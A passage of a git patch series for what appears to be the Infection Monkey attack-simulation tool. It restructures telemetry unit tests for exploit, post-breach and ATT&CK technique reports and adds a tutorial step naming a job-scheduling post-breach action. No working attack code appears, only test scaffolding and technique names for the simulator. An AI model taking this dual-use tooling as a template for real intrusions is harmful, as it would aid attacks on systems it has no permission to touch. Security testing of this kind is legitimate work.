BUSEUlMjBORVclMjBDT05TVCUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX1RJTUVTVE9NUElORyUyMCUzRCUyMCU1QyUyMk1vZGlmeSUyMGZpbGVzJyUyMHRpbWVzdGFtcHMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTJDJTIyYiUyMiUzQTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSUdORURfU0NSSVBUX1BST1hZX0VYRUMlMjAlM0QlMjAlNUMlMjJTaWduZWQlMjBzY3JpcHQlMjBwcm94eSUyMGV4ZWN1dGlvbiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfQUNDT1VOVF9ESVNDT1ZFUlklMjAlM0QlMjAlNUMlMjJBY2NvdW50JTIwZGlzY292ZXJ5JTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElMkMlMjJiJTIyJTNBMTElN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E1JTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" - ] - } + "task": { + "dod": "You should add a new PBA const that defines what the PBA does.", + "tests": [], + "hints": [ + "See the `Timestomping` PBA. How is the name of the PBA set?" + ] }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "content": [ + { + "type": "text", + "text": "The name of your new PBA (which creates scheduled jobs on the machine) will be used in a few places, including the report.

    \nYou should briefly define what your PBA does in a constant variable, such that it can be used by both the Monkey and the Monkey Island.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration β€” for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Check the PBA section in the Security report for the name you gave to the new PBA \n\n" + }, + { + "firstLineNumber": 5, + "path": "monkey/common/common_consts/post_breach_consts.py", + "type": "snippet", + "lines": [ + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"", + " POST_BREACH_TRAP_COMMAND = \"Execute command when a particular signal is received\"", + " POST_BREACH_SETUID_SETGID = \"Setuid and Setgid\"", + "*POST_BREACH_JOB_SCHEDULING = \"Schedule jobs\"", + "+# Swimmer: PUT THE NEW CONST HERE!", + " POST_BREACH_TIMESTOMPING = \"Modify files' timestamps\"", + " POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = \"Signed script proxy execution\"", + " POST_BREACH_ACCOUNT_DISCOVERY = \"Account discovery\"" + ], + "comments": [] + }, + { + "type": "text", + "text": "- The name defined here for your PBA can be seen on the Monkey Island in the PBA section in the Security report.\n- The results of each PBA stored in the telemetry are also identified by the string defined here for that PBA." + } + ], + "file_version": "2.0.0", + "meta": { + "app_version": "0.3.7-0", + "file_blobs": { + "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3" + } + } } \ No newline at end of file From 86ffaf358fadd5e729d496d005dce818139d5e64 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 09:53:55 -0500 Subject: [PATCH 268/466] agent: break test_base_telem_classes into discrete test files --- .../tests/test_base_telem_classes.py | 129 ------------------ .../telemetry/tests/test_exploit_telem.py | 31 +++++ .../telemetry/tests/test_post_breach_telem.py | 32 +++++ .../telemetry/tests/test_scan_telem.py | 20 +++ .../telemetry/tests/test_state_telem.py | 18 +++ .../telemetry/tests/test_system_info_telem.py | 17 +++ .../telemetry/tests/test_trace_telem.py | 17 +++ .../telemetry/tests/test_tunnel_telem.py | 15 ++ 8 files changed, 150 insertions(+), 129 deletions(-) delete mode 100644 monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_exploit_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_scan_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_state_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_system_info_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_trace_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py diff --git a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py deleted file mode 100644 index bbff9641c..000000000 --- a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py +++ /dev/null @@ -1,129 +0,0 @@ -import pytest - -from infection_monkey.exploit.wmiexec import WmiExploiter -from infection_monkey.model.host import VictimHost -from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs -from infection_monkey.telemetry.exploit_telem import ExploitTelem -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.telemetry.scan_telem import ScanTelem -from infection_monkey.telemetry.state_telem import StateTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem -from infection_monkey.telemetry.trace_telem import TraceTelem -from infection_monkey.telemetry.tunnel_telem import TunnelTelem - - -DOMAIN_NAME = "domain-name" -HOSTNAME = "hostname" -IP = "0.0.0.0" -IS_DONE = True -MSG = "message" -RESULT = False -SYSTEM_INFO = {} -VERSION = "version" -HOST = VictimHost(IP, DOMAIN_NAME) -EXPLOITER = WmiExploiter(HOST) -PBA = ScheduleJobs() - - -@pytest.fixture -def exploit_telem_test_instance(): - return ExploitTelem(EXPLOITER, RESULT) - - -def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): - exploit_telem_test_instance.send() - expected_data = { - "result": RESULT, - "machine": HOST.as_dict(), - "exploiter": EXPLOITER.__class__.__name__, - "info": EXPLOITER.exploit_info, - "attempts": EXPLOITER.exploit_attempts, - } - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "exploit" - - -@pytest.fixture -def post_breach_telem_test_instance(mocker): - mocker.patch( - "infection_monkey.telemetry.post_breach_telem.PostBreachTelem._get_hostname_and_ip", - return_value=(HOSTNAME, IP), - ) - return PostBreachTelem(PBA, RESULT) - - -def test_post_breach_telem_category(post_breach_telem_test_instance): - assert post_breach_telem_test_instance.telem_category == "post_breach" - - -def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): - post_breach_telem_test_instance.send() - expected_data = { - "command": PBA.command, - "result": RESULT, - "name": PBA.name, - "hostname": HOSTNAME, - "ip": IP, - } - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "post_breach" - - -@pytest.fixture -def scan_telem_test_instance(): - return ScanTelem(HOST) - - -def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): - scan_telem_test_instance.send() - expected_data = {"machine": HOST.as_dict(), "service_count": len(HOST.services)} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "scan" - - -@pytest.fixture -def state_telem_test_instance(): - return StateTelem(IS_DONE, VERSION) - - -def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): - state_telem_test_instance.send() - expected_data = {"done": IS_DONE, "version": VERSION} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "state" - - -@pytest.fixture -def system_info_telem_test_instance(): - return SystemInfoTelem(SYSTEM_INFO) - - -def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): - system_info_telem_test_instance.send() - expected_data = SYSTEM_INFO - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "system_info" - - -@pytest.fixture -def trace_telem_test_instance(): - return TraceTelem(MSG) - - -def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): - trace_telem_test_instance.send() - expected_data = {"msg": MSG} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "trace" - - -@pytest.fixture -def tunnel_telem_test_instance(): - return TunnelTelem() - - -def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): - tunnel_telem_test_instance.send() - expected_data = {"proxy": None} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "tunnel" diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py new file mode 100644 index 000000000..1002a3cb3 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -0,0 +1,31 @@ +import pytest + +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.exploit_telem import ExploitTelem + + +HOSTNAME = "hostname" +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" +HOST = VictimHost(IP, DOMAIN_NAME) +EXPLOITER = WmiExploiter(HOST) +RESULT = False + + +@pytest.fixture +def exploit_telem_test_instance(): + return ExploitTelem(EXPLOITER, RESULT) + + +def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): + exploit_telem_test_instance.send() + expected_data = { + "result": RESULT, + "machine": HOST.as_dict(), + "exploiter": EXPLOITER.__class__.__name__, + "info": EXPLOITER.exploit_info, + "attempts": EXPLOITER.exploit_attempts, + } + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "exploit" diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py new file mode 100644 index 000000000..e6cbc45b2 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -0,0 +1,32 @@ +import pytest + +from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem + + +HOSTNAME = "hostname" +IP = "0.0.0.0" +PBA = ScheduleJobs() +RESULT = False + + +@pytest.fixture +def post_breach_telem_test_instance(mocker): + mocker.patch( + "infection_monkey.telemetry.post_breach_telem.PostBreachTelem._get_hostname_and_ip", + return_value=(HOSTNAME, IP), + ) + return PostBreachTelem(PBA, RESULT) + + +def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): + post_breach_telem_test_instance.send() + expected_data = { + "command": PBA.command, + "result": RESULT, + "name": PBA.name, + "hostname": HOSTNAME, + "ip": IP, + } + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "post_breach" diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py new file mode 100644 index 000000000..d75aecdb1 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -0,0 +1,20 @@ +import pytest + +from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.model.host import VictimHost + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" +HOST = VictimHost(IP, DOMAIN_NAME) + + +@pytest.fixture +def scan_telem_test_instance(): + return ScanTelem(HOST) + + +def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): + scan_telem_test_instance.send() + expected_data = {"machine": HOST.as_dict(), "service_count": len(HOST.services)} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "scan" diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py new file mode 100644 index 000000000..a8beaf5ad --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -0,0 +1,18 @@ +import pytest + +from infection_monkey.telemetry.state_telem import StateTelem + +IS_DONE = True +VERSION = "version" + + +@pytest.fixture +def state_telem_test_instance(): + return StateTelem(IS_DONE, VERSION) + + +def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): + state_telem_test_instance.send() + expected_data = {"done": IS_DONE, "version": VERSION} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "state" diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py new file mode 100644 index 000000000..11692d4bb --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py @@ -0,0 +1,17 @@ +import pytest + +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem + +SYSTEM_INFO = {} + + +@pytest.fixture +def system_info_telem_test_instance(): + return SystemInfoTelem(SYSTEM_INFO) + + +def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): + system_info_telem_test_instance.send() + expected_data = SYSTEM_INFO + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "system_info" diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py new file mode 100644 index 000000000..e4bb06a6b --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -0,0 +1,17 @@ +import pytest + +from infection_monkey.telemetry.trace_telem import TraceTelem + +MSG = "message" + + +@pytest.fixture +def trace_telem_test_instance(): + return TraceTelem(MSG) + + +def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): + trace_telem_test_instance.send() + expected_data = {"msg": MSG} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "trace" diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py new file mode 100644 index 000000000..81a32bb44 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py @@ -0,0 +1,15 @@ +import pytest + +from infection_monkey.telemetry.tunnel_telem import TunnelTelem + + +@pytest.fixture +def tunnel_telem_test_instance(): + return TunnelTelem() + + +def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): + tunnel_telem_test_instance.send() + expected_data = {"proxy": None} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "tunnel" From 4efdeeacc39562ed6841ead0d3ba6618fca56aaa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 09:59:52 -0500 Subject: [PATCH 269/466] agent: remove dependency on pytest-mock --- monkey/infection_monkey/requirements.txt | 1 - .../telemetry/tests/test_post_breach_telem.py | 7 ++----- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index b81018d95..0a1dbd282 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -13,6 +13,5 @@ pyftpdlib==1.5.6 pymssql<3.0 pypykatz==0.3.12 pysmb==1.2.5 -pytest-mock==3.5.1 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index e6cbc45b2..d38cfdbde 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -11,11 +11,8 @@ RESULT = False @pytest.fixture -def post_breach_telem_test_instance(mocker): - mocker.patch( - "infection_monkey.telemetry.post_breach_telem.PostBreachTelem._get_hostname_and_ip", - return_value=(HOSTNAME, IP), - ) +def post_breach_telem_test_instance(monkeypatch): + monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) return PostBreachTelem(PBA, RESULT) From 08addff8c55e974b5bcb82c88c563a2790803fbb Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 18 Feb 2021 20:13:33 +0530 Subject: [PATCH 270/466] Modify tests for attack telem classes and technique telems - test `send()` instead of `get_data()` using fixture `spy_send_telemetry` --- .../telemetry/attack/t1064_telem.py | 1 + .../telemetry/attack/t1197_telem.py | 1 + .../tests/test_attack_telem_classes.py | 33 ++--- .../telemetry/tests/test_technique_telems.py | 118 +++++++----------- 4 files changed, 60 insertions(+), 93 deletions(-) diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index efea27063..94be44a79 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -3,6 +3,7 @@ from infection_monkey.telemetry.attack.usage_telem import AttackTelem class T1064Telem(AttackTelem): def __init__(self, status, usage): + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques """ T1064 telemetry. :param status: ScanStatus of technique diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py index 387c3aa13..769f93823 100644 --- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -5,6 +5,7 @@ __author__ = "itay.mizeretz" class T1197Telem(VictimHostTelem): def __init__(self, status, machine, usage): + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques """ T1197 telemetry. :param status: ScanStatus of technique diff --git a/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py index de77c6ec1..13dc02322 100644 --- a/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py +++ b/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py @@ -18,15 +18,12 @@ def attack_telem_test_instance(): return AttackTelem(TECHNIQUE, STATUS) -def test_attack_telem_category(attack_telem_test_instance): - assert attack_telem_test_instance.telem_category == 'attack' - - -def test_attack_telem_get_data(attack_telem_test_instance): - actual_data = attack_telem_test_instance.get_data() +def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): + attack_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': TECHNIQUE} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -34,16 +31,13 @@ def usage_telem_test_instance(): return UsageTelem(TECHNIQUE, STATUS, USAGE) -def test_usage_telem_category(usage_telem_test_instance): - assert usage_telem_test_instance.telem_category == 'attack' - - -def test_usage_telem_get_data(usage_telem_test_instance): - actual_data = usage_telem_test_instance.get_data() +def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): + usage_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': TECHNIQUE, 'usage': USAGE.name} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -51,14 +45,11 @@ def victim_host_telem_test_instance(): return VictimHostTelem(TECHNIQUE, STATUS, MACHINE) -def test_victim_host_telem_category(victim_host_telem_test_instance): - assert victim_host_telem_test_instance.telem_category == 'attack' - - -def test_victim_host_telem_get_data(victim_host_telem_test_instance): - actual_data = victim_host_telem_test_instance.get_data() +def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): + victim_host_telem_test_instance.send() expected_data = {'machine': {'domain_name': MACHINE.domain_name, 'ip_addr': MACHINE.ip_addr}, 'status': STATUS.value, 'technique': TECHNIQUE} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/test_technique_telems.py b/monkey/infection_monkey/telemetry/tests/test_technique_telems.py index 907205a0f..b2c73867d 100644 --- a/monkey/infection_monkey/telemetry/tests/test_technique_telems.py +++ b/monkey/infection_monkey/telemetry/tests/test_technique_telems.py @@ -13,16 +13,17 @@ from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +COMMAND = 'echo hi' +DST_IP = '0.0.0.1' +FILENAME = 'virus.exe' GATHERED_DATA_TYPE = '[Type of data collected]' INFO = '[Additional info]' MACHINE = VictimHost('127.0.0.1') +PATH = 'path/to/file.txt' +SRC_IP = '0.0.0.0' STATUS = ScanStatus.USED USAGE = UsageEnum.SMB -SRC_IP = '0.0.0.0' -DST_IP = '0.0.0.1' -FILENAME = 'virus.exe' -PATH = 'path/to/file.txt' -COMMAND = 'echo hi' +USAGE_STR = '[Usage info]' @pytest.fixture @@ -30,17 +31,14 @@ def T1005_telem_test_instance(): return T1005Telem(STATUS, GATHERED_DATA_TYPE, INFO) -def test_T1005_telem_category(T1005_telem_test_instance): - assert T1005_telem_test_instance.telem_category == 'attack' - - -def test_T1005_get_data(T1005_telem_test_instance): - actual_data = T1005_telem_test_instance.get_data() +def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): + T1005_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1005', 'gathered_data_type': GATHERED_DATA_TYPE, 'info': INFO} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -48,33 +46,27 @@ def T1035_telem_test_instance(): return T1035Telem(STATUS, USAGE) -def test_T1035_telem_category(T1035_telem_test_instance): - assert T1035_telem_test_instance.telem_category == 'attack' - - -def test_T1035_get_data(T1035_telem_test_instance): - actual_data = T1035_telem_test_instance.get_data() +def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): + T1035_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1035', 'usage': USAGE.name} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture def T1064_telem_test_instance(): - return T1064Telem(STATUS, USAGE) + return T1064Telem(STATUS, USAGE_STR) -def test_T1064_telem_category(T1064_telem_test_instance): - assert T1064_telem_test_instance.telem_category == 'attack' - - -def test_T1064_get_data(T1064_telem_test_instance): - actual_data = T1064_telem_test_instance.get_data() +def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): + T1064_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1064', - 'usage': USAGE} - assert actual_data == expected_data + 'usage': USAGE_STR} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -82,18 +74,15 @@ def T1105_telem_test_instance(): return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) -def test_T1105_telem_category(T1105_telem_test_instance): - assert T1105_telem_test_instance.telem_category == 'attack' - - -def test_T1105_get_data(T1105_telem_test_instance): - actual_data = T1105_telem_test_instance.get_data() +def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): + T1105_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1105', 'filename': FILENAME, 'src': SRC_IP, 'dst': DST_IP} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -101,16 +90,13 @@ def T1106_telem_test_instance(): return T1106Telem(STATUS, USAGE) -def test_T1106_telem_category(T1106_telem_test_instance): - assert T1106_telem_test_instance.telem_category == 'attack' - - -def test_T1106_get_data(T1106_telem_test_instance): - actual_data = T1106_telem_test_instance.get_data() +def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): + T1106_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1106', 'usage': USAGE.name} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -118,16 +104,13 @@ def T1107_telem_test_instance(): return T1107Telem(STATUS, PATH) -def test_T1107_telem_category(T1107_telem_test_instance): - assert T1107_telem_test_instance.telem_category == 'attack' - - -def test_T1107_get_data(T1107_telem_test_instance): - actual_data = T1107_telem_test_instance.get_data() +def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): + T1107_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1107', 'path': PATH} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -135,35 +118,29 @@ def T1129_telem_test_instance(): return T1129Telem(STATUS, USAGE) -def test_T1129_telem_category(T1129_telem_test_instance): - assert T1129_telem_test_instance.telem_category == 'attack' - - -def test_T1129_get_data(T1129_telem_test_instance): - actual_data = T1129_telem_test_instance.get_data() +def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): + T1129_telem_test_instance.send() expected_data = {'status': STATUS.value, 'technique': 'T1129', 'usage': USAGE.name} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture def T1197_telem_test_instance(): - return T1197Telem(STATUS, MACHINE, USAGE) + return T1197Telem(STATUS, MACHINE, USAGE_STR) -def test_T1197_telem_category(T1197_telem_test_instance): - assert T1197_telem_test_instance.telem_category == 'attack' - - -def test_T1197_get_data(T1197_telem_test_instance): - actual_data = T1197_telem_test_instance.get_data() +def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): + T1197_telem_test_instance.send() expected_data = {'machine': {'domain_name': MACHINE.domain_name, 'ip_addr': MACHINE.ip_addr}, 'status': STATUS.value, 'technique': 'T1197', - 'usage': USAGE} - assert actual_data == expected_data + 'usage': USAGE_STR} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' @pytest.fixture @@ -171,15 +148,12 @@ def T1222_telem_test_instance(): return T1222Telem(STATUS, COMMAND, MACHINE) -def test_T1222_telem_category(T1222_telem_test_instance): - assert T1222_telem_test_instance.telem_category == 'attack' - - -def test_T1222_get_data(T1222_telem_test_instance): - actual_data = T1222_telem_test_instance.get_data() +def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): + T1222_telem_test_instance.send() expected_data = {'machine': {'domain_name': MACHINE.domain_name, 'ip_addr': MACHINE.ip_addr}, 'status': STATUS.value, 'technique': 'T1222', 'command': COMMAND} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' From a4603853a92d7c6848893e674b1fb6c040405faf Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 18 Feb 2021 22:35:26 +0530 Subject: [PATCH 271/466] Split test_attack_telem_classes.py and test_technique_telems.py into separate test files --- .../tests/attack/test_attack_telem.py | 21 +++ .../tests/attack/test_t1005_telem.py | 24 +++ .../tests/attack/test_t1035_telem.py | 22 +++ .../tests/attack/test_t1064_telem.py | 22 +++ .../tests/attack/test_t1105_telem.py | 26 +++ .../tests/attack/test_t1106_telem.py | 22 +++ .../tests/attack/test_t1107_telem.py | 22 +++ .../tests/attack/test_t1129_telem.py | 22 +++ .../tests/attack/test_t1197_telem.py | 26 +++ .../tests/attack/test_t1222_telem.py | 26 +++ .../tests/attack/test_usage_telem.py | 23 +++ .../tests/attack/test_victim_host_telem.py | 25 +++ .../tests/test_attack_telem_classes.py | 55 ------ .../telemetry/tests/test_technique_telems.py | 159 ------------------ 14 files changed, 281 insertions(+), 214 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py create mode 100644 monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py delete mode 100644 monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py delete mode 100644 monkey/infection_monkey/telemetry/tests/test_technique_telems.py diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py new file mode 100644 index 000000000..750075fb2 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -0,0 +1,21 @@ +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +STATUS = ScanStatus.USED +TECHNIQUE = 'T9999' + + +@pytest.fixture +def attack_telem_test_instance(): + return AttackTelem(TECHNIQUE, STATUS) + + +def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): + attack_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': TECHNIQUE} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py new file mode 100644 index 000000000..757f0de13 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -0,0 +1,24 @@ +import 